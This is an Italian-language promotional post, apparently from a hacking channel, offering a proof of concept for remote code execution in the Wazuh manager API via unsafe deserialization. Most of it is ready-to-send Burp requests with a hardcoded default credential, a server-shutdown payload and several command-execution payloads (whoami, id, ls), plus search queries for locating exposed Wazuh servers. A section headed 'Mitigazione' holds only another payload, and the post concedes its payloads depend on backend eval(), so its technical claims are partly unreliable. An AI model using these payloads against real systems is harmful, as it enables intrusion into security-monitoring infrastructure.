
È stata identificata una vulnerabilità critica di RCE nel server Wazuh dovuta a una deserializzazione non sicura nel pacchetto wazuh-manager. Questo bug interessa le versioni di Wazuh ≥ 4.4.0 ed è stato corretto nella versione 4.9.1.
🚨 Wazuh - Esecuzione Remota di Codice (RCE) - PoC
È stata identificata una vulnerabilità critica di RCE nel server Wazuh dovuta a deserializzazione non sicura nel pacchetto wazuh-manager. Questo bug interessa le versioni di Wazuh ≥ 4.4.0 ed è stato corretto nella versione 4.9.1.
🔍 Dettagli
Il difetto risiede nella DistributedAPI dell'API di Wazuh, dove l'input controllato dall'utente viene deserializzato in modo non sicuro. Ciò consente agli attaccanti con accesso all'API (ad es. dashboard o nodo cluster compromesso) di eseguire codice Python arbitrario sul server master tramite l'endpoint run_as.
📬 Proof of Concept (Richiesta Burp)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 L'header Authorization è la codifica base64 di wazuh-wui:MyS3cr37P450r.*-.
📌 Il payload causa lo spegnimento del server Wazuh chiamando il metodo exit() di Python.
💥 Impatto
🛡️ Mitigazione
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
Ma da solo non funzionerà a meno che il codice di deserializzazione non esegua effettivamente l'albero degli oggetti. Usa invece un oggetto basato su __reduce__ che esegua codice.
Ecco il formato funzionante per una richiesta Burp che utilizza os.system() di Python tramite una logica simile a pickle:
💣 Payload RCE Burp funzionante (esecuzione di codice Python)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 Per eseguire ls, modifica il payload:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
Puoi anche usare:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ Nota: la deserializzazione effettiva deve avvenire con eval() o meccanismi simili nel backend perché questo funzioni. Sulla base del PoC di Wazuh, questo è effettivamente possibile se controlli auth_context.
🔐 Suggerimento Pro Intercetta la richiesta in Burp, vai nella scheda Repeater e prova più payload come:
"whoami""id""uname -a""ls /home/wazuh"👇Query
product.name="Wazuh"app="Wazuh"Se la risposta è vuota o lo stato è 500, controlla i log — a volte l'output non viene restituito. 📚 Rimanete sul pezzo, hacker! Altri PoC per bug bounty, bypass e payload stanno arrivando!
Segui 👉 @cybersecplayground per contenuti hacking quotidiani!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit